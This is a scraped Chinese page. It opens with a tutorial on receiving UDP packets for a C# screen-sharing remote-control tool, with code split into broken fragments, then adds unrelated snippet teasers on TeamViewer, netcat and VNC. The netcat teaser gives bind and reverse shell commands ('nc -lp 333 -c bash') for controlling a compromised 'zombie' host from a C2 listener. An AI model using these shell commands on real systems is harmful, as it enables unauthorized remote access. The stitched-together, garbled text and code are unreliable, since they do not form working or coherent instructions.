二.接收
上面已經講到如何將資料報傳送出去,剩下的就是接收,和控制
既然傳送端是用upd傳送,那麼接收端當然也是用udp接收(好多廢話哦)
簡單點,用個迴圈將接收到的包按包號寫入記憶體,然後在記憶體中讀取資料,還原,具體步驟如下:
接收包-->按包號計算偏移-->接收到最後乙個包-->寫入-->還原-->顯示
| |
寫入記憶體(迴圈)
很簡單是吧,假如要考慮到其他的問題的話,那麼就會複雜一點,上面所有動作將放在乙個單獨執行緒執行
(1)接收包
ipendpoint hostpoint = new ipendpoint(ipaddress.any, 0);
byte recv
=receclient.receive(
refhostpoint);
udpclient的receive是總是阻塞的,直到有資料報的到來,接受到位元組後,還要進行分解,上面漏了一步,根據我們發包的內容,我們可以知道包內各個位置放著的是什麼資料
0-3 包號
4-? 包內容
?-end 包內容長度
為什麼用?呢,這個就關係到這個資料報的設計問題了.現在想想真的是一大失敗.由於包內容的長度不一定是固定的,包內容長度用來描述包內容長度,在讀取的時候就有點麻煩,如下
for(
inti =0
; i
<
4; i++)
每次都要用包長度-4來獲取包內容長度.假如開始我們的資料報設定成
struct
imageblock
那麼就會好很多
0-3 包號
4-7 包內容長度
7-end 包內容
獲取包號和長度之後,就可以寫入記憶體中相應的位置了.
計算?
memorystream istream
=new
memorystream();
istream.position
=block.num
*2040
;istream.write(block.content, 0, block.contentlen);
一般來說,只要不是最後乙個包的話,每包資料量都是2040,所以......雖然我覺得有點汗,但是還是這樣處理算了.同時還有乙個問題,udp包按順序發,但不一定是按順序接收.先看看這裡
if(block.num ==-
1)
TeamViewer 遠端控制
因為公司的電腦有加密系統,因此不好傳檔案,而且傳檔案也是亂碼的,因此想要在家裡也能工作,只能遠端登入公司的電腦進行工作了!因此下了個teamviewer。teamviewer是乙個遠端控制軟體,它最大的優點就是不需要控制和接受控制的任何一方擁有外網ip。而且還能進行傳檔案,還有會議室等強大的功能!3...
nc 遠端控制
nc 做遠端控制 原理實際上和之前的傳文字一樣,伺服器端起監聽,客戶端端去鏈結,之後監聽的伺服器端傳乙個自己的shell過去到客戶端 正向 偵聽方為肉雞,c2 訪問肉雞 server nc lp 333 c bash client nc nv 1.1.1.1 333 或者反向 偵聽方為c2,肉雞訪問...
vnc遠端控制
root localhost yum y install tigervnc server設定配置檔案新增乙個可以使用的使用者,也可以新增多個。比如vncservers 1 root 這是新增乙個,vncservers 1 root 2 tom 這就是新增了root使用者和tom使用者我們這裡新增乙個...